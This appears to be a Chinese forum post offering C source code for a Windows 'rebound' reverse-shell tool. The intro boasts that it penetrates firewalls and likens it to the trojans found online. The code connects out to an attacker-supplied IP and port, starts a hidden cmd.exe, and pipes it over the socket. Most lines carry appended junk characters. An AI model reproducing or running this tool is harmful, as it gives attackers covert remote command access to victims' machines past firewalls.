这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DK;/eZe
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/* ============================== :`P;(h
Rebound port in Windows NT tlFc+3
By wind,2006/7 IsCJdgG
===============================*/ 9^c"HyR
#include {VE$i2nC8
#include P X<,/6g z
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#pragma comment(lib,"wsock32.lib") +#<"o#gZ
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void OutputShell(); ;EfMTI}6K
SOCKET sClient; KPA5 X]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b511qc"i>M
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void main(int argc,char **argv) N6<23kYM
{ xX.Ox
WSADATA stWsaData; Mhw\i&*U
int nRet; v)2@;Q
SOCKADDR_IN stSaiClient,stSaiServer; bqg\V8h
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if(argc != 3) M O/-?@w
{ E|.D
printf("Useage:\n\rRebound DestIP DestPort\n"); |Y1<P^
return; ;3_Q7;y
} <!|2Ru
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6l $o^R^D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n1W}h@>8
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stSaiClient.sin_family = AF_INET; ;"nEEe]?
stSaiClient.sin_port = htons(0); HnqZ7%jeN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U-s6h;^O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f i!wrvO
{ o&~z8/?LA
printf("Bind Socket Failed!\n"); (Qq$ql27
return; Q\:'gx8`
} {w^flizY
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stSaiServer.sin_family = AF_INET; Yazpfw 7'd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6C/D&+4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); es(vWf'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %]Nz54!
{ MJXm7<(
printf("Connect Error!"); ix&hsNzD
return; ?I 1@:?Qi
} I/)dXk~
OutputShell(); /HDX[R
} {+t'XkA
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void OutputShell() {hRAR8
{ Qg
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char szBuff[1024]; 1^Zx-p3J
SECURITY_ATTRIBUTES stSecurityAttributes; <$njU=YE&
OSVERSIONINFO stOsversionInfo; ^?xXP=/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z?hBn`.
STARTUPINFO stStartupInfo; }RUC#aW1
char *szShell; 6]gs{zG
PROCESS_INFORMATION stProcessInformation; D0k7)\puQ
unsigned long lBytesRead; D1O7S]j
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 28BiuxVW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ccm <rZ7
stSecurityAttributes.lpSecurityDescriptor = 0; "ej>1{3Y:=
stSecurityAttributes.bInheritHandle = TRUE; uR)@v^$FE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z gU;=.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sX_ ^H%fd
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {fN_itn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TPEZ"%=Hg
stStartupInfo.wShowWindow = SW_HIDE; iZyk2kc
stStartupInfo.hStdInput = hReadPipe; \K?./*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "iZ-AG!C
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GetVersionEx(&stOsversionInfo); Z21XlbK
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switch(stOsversionInfo.dwPlatformId) &GD7ldck
{ "
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case 1: Q#g
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szShell = "command.com"; ci^-0l_O
break; _mkI;<d]$T
default: 63u'-Z"4
szShell = "cmd.exe"; )sS<%Xf
break; @e0Q+ t
} H*\ }W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Io"=X!k
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send(sClient,szMsg,77,0); Y+=@5+G
while(1) (wY%$kW4
{ gCm?nb)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x.r`(
if(lBytesRead) d,)F #;^5
{ v S+~4Q41
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z?Q2 ed*j
send(sClient,szBuff,lBytesRead,0); Ph%s.YAZ~
} Dps{[3Y+
else TwhK>HN
{ 8\V-aow
lBytesRead=recv(sClient,szBuff,1024,0); mpF_+Mn
if(lBytesRead<=0) break; YI|Gpq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?\pE#~m
} vaxg^n|v9
} 1Ev+':%
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return; Em]T.'y
}